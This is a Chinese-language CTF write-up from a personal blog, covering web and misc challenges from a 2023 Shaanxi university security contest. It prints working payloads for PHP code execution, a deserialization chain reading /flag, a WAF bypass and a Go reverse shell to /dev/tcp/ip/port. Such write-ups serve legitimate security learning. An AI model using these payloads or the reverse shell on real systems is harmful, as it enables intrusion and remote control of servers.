Z1d10tのBlog

A note for myself,have fun!

2023年 第三届陕西省大学生网络安全技能大赛(本科高校组)

Z1d10t's Avatar 2023-06-07 各赛事WP

  1. 1. 前言
  2. 2. WEB
    1. 2.1. ezrce
    2. 2.2. ezpop
    3. 2.3. test
    4. 2.4. unserialize
      1. 2.4.1. 非预期
      2. 2.4.2. 预期
    5. 2.5. Esc4pe_T0_Mong0
  3. 3. Misc
    1. 3.1. 管道
    2. 3.2. 可是雪啊飘进双眼

2023年 第三届陕西省大学生网络安全技能大赛(本科高校组) web misc复现

前言

这次反应出我的缺点:

  1. 不够细心,ezpop进去后没有源码 以为是上neepu一样的源码泄露,没成功,然后扫了后台,一顿瞎操作,看了WP才发现是js中有一段base64,妈的,我真是纯出生,不够认真已经是老毛病了。
  2. 找到答案了没有能够仔细照payload进行 那个反序列化修改私有属性考反射的题目 我tm已经payload写的和答案几乎一样了,细节可能有问题,但是当时做题不知道为啥还是显示被waf 然后就放弃了 。。

img

妈的 这道题目真可惜

3.老是想象着把题目想的很复杂很难,可能一些题目需要很扎实的基本功吧。

WEB

ezrce

这道题目一眼丁真 和buu那个套娃一样 主要考的就是无参RCE,比较友好。

img

代码如上 偷的 复现没环境 很难受

自己写一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8"); //没有这个就会乱码
echo "你是谁啊哥们?把钥匙给我!!!!<br/r>";
$key=$_GET['key'];
$name=$_POST['name'];
$qaq=$_POST['qaq'];
if(isset($_GET['key'])){
highlight_file(__FILE__);
}
if(isset($name)){
echo "你是".$name."大人????<br/>";
$name1=preg_replace('/hahaha/e',$qaq,$name);
echo "骗我的吧,你明明是 >>>>小小".$name1;
}
?>

preg_replace() /e模式可以代码执行

我的payload:name=hahaha&qaq=print_r(eval(array_pop(apache_request_headers())))

1
apache_request_headers()`代替`getallheaders()

然后next 之类的移动指针都被waf了 用array_popbypass 也就是把数组中最后一个元素值弹出 我们bp抓包修改一下 其实还有其他移动指针的函数:each()prev()以及current()但是都是指向当前由请求头组成数组的第一个元素 也就是host 这个改了网页就没法正常访问了 所以只能通过array_pop()把最后一个修改了 记得当时是X-Real-Ip

看了大佬的WP 还有一种是参考https://xz.aliyun.com/t/9360 通过session_id()来做的

paylaod:name=hahaha&qaq=show_source(session_id(session_start()));

img

然后抓包 Cookie: session_id=/flag即可

ezpop

这个题进去没源码 以为是当时那个PHP <= 7.4.21远程源码泄露漏洞 https://cn-sec.com/archives/1530845.html

试了 无果 最后看他js中藏了一段base64 我眼瞎

但是tm谷歌浏览器他在源码中没显示出来 我操了 这不是我的锅啊 我日了

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
highlight_file(__FILE__);

class night
{
public $night;

public function __destruct(){
echo $this->night . '哒咩哟';
}
}

class day
{
public $day;

public function __toString(){
echo $this->day->go();
}

public function __call($a, $b){
echo $this->day->getFlag();
}
}


class light
{
public $light;

public function __invoke(){
echo $this->light->d();
}
}

class dark
{
public $dark;

public function go(){
($this->dark)();
}

public function getFlag(){
include(hacked($this->dark));
}
}

function hacked($s) {
if(substr($s, 0,1) == '/'){
die('呆jio步');
}
$s = preg_replace('/\.\.*/', '.', $s);
$s = urldecode($s);
$s = htmlentities($s, ENT_QUOTES, 'UTF-8');
return strip_tags($s);
}

$un = unserialize($_POST['pop']); //
throw new Exception('seino');

链子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class night
{
public $night;
}

class day
{
public $day;
}

class light
{
public $light;
}
class dark
{
public $dark;
}
$a=new night();
$a -> night=new day();
$a -> night ->day=new dark();
$a ->night ->day -> dark=new light();
$a -> night ->day ->dark -> light=new day();
$a ->night ->day ->dark ->light->day=new dark();
$a ->night ->day ->dark ->light->day->dark='php://filter/convert.base64-encode/resource=/flag';
echo serialize($a);
?>

需要注意的点就是这里会过滤/flag 的第一个/直接用伪协议读就可以了

其次就是throw new Exception('seino');阻止我们的链子 其实考点就是fast destrcut

随便破坏链子的结构可以了 之前见过

payload:

1
O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}

然后这里还有坑 发现传上去之后没用 用不了

然后这里复制代码到vscode才发现玄机

img

传参这里有unicode不可见字符 [U+2066]类似于这样的是控制文本显示方向的 没必要细究

然后传参肯定是这一坨 需要url编码一下

pyaload:%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop=O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}

img

test

进去是一个登录框 可以注册 然后登录 然后就会显示 hello 登录名看到这里谁不会想到是ssti呢 但是这是一个幌子 然后在登陆页面看源码可以发现 /profile/index 啥也没有 当然如果真没用 他也不会特意设置 唉 我真是猪脑 然后可以访问/profile/adminMD5解密 获得 admin的密码 asdfgh123

进去之后 看了大佬的wp 提示帮我们运行go文件

然后手写一个上传框 亮sensei给的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://15e46d8b.clsadp.com/Adm1nUp104d" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="uploadfilename" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传上去之后抓包将 name改为file

这里问后端java舍友说是因为后端可能存在一个名为file的变量来接受他 所以这里要改为file tql 终于明白了

因此 <input type="file" name="uploadfilename" id="file"><br>中的name值不是固定的 要根据情况而定

img

然后上传go的反弹shell文件(偷的) 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package main

import (
"fmt"
"log"
"os/exec"
)

func main() {
cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/ip/port 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}

就可以了 真的tql

unserialize

这道题目很可惜 应该是出了的 通过反射来修改类的的私有属性

源码如下;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
require_once "waf.php";
error_reporting(0);
class getFlag{
private $password;
private $cmd;
public function __destruct(){
if($this->password=="sectet" ) //how to change the private variables secret"
{
system($this->cmd);
}
}
}

$a = $_GET['a'];
if(isset($_GET['a'])){
@eval(waf($a));
}
?>

看了大佬的WP 有个很简单的非预期

非预期

直接通过%0a 换行符进行bypass

img

payload:a=system%0a('cat /flag');

以后做题 %00 空字符 %20 空格符 %0a 换行符这种非预期要多尝试

预期

草!!!!!!!!!!!!

这个题目 回过头再看我的payload是对的 只不过把sectet拼成secret不是 sectet是什么啊 我真服了 我一直当作secret在做题 md 我真无语了 sectet到底是出题人拼错了 还是有含义啊 我真服了

利用PHP反射来给私有属性赋值以及调用私有函数

参考这篇文章:分析的很细 https://juejin.cn/post/6844904148891074568

分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class getFlag{
private $password;
private $cmd;
private function display(){
echo $this->password;
}
}
$get_flag = new getFlag();
$refClass = new ReflectionClass('getFlag');
$property = $refClass->getProperty('password'); //获取属性值
$property->setAccessible(true); //修改对象$property的可访问属性
$property->setValue($get_flag, 'sectet'); //修改值
$property = $refClass->getProperty('cmd');//获取属性值
$property->setAccessible(true);//修改对象$property的可访问属性
$property->setValue($get_flag, 'ls /'); //修改值
var_dump($get_flag); //打印源对象属性值
?>
//class getFlag#1 (2) {
private $password =>
string(6) "secret"
private $cmd =>
string(4) "ls /"
}
a=$get_flag = new getFlag();$refClass = new ReflectionClass('getFlag');$property = $refClass->getProperty('password'); $property->setAccessible(true); $property->setValue($get_flag, 'sectet'); $property = $refClass->getProperty('cmd');$property->setAccessible(true);$property->setValue($get_flag, 'ls /');

img

Esc4pe_T0_Mong0

没源码 暂定

Misc

管道

一道关于图片隐写的题目 直接 zsteg -a 1.png|grep "flag"

img

可是雪啊飘进双眼

首先是一段音频和一个文本 然后拖进Audacity查看波形图 一段摩斯电码

img

上网查一下学习一下 得到.-- --- .- .. ... .... .- -. -..- ..

img

得到密文WOAISHANXI

但是还是没法解开加密的压缩包

然后还有一个文本 从名字上能看出是snow加密

https://darkside.com.au/snow/下载一个脚本 输入刚才得到的密码 然后解密即可

1
snow.exe -p WOAISHANXI -C snow.txt

得到

获得flag压缩包的密码

然后我这里binwalk抽风了 很奇怪 之前用的好好的 玛德

找到原因了 原来要用root运行在之后加上 --run-as=root就可以了

本文最后更新于 天前,文中所描述的信息可能已发生改变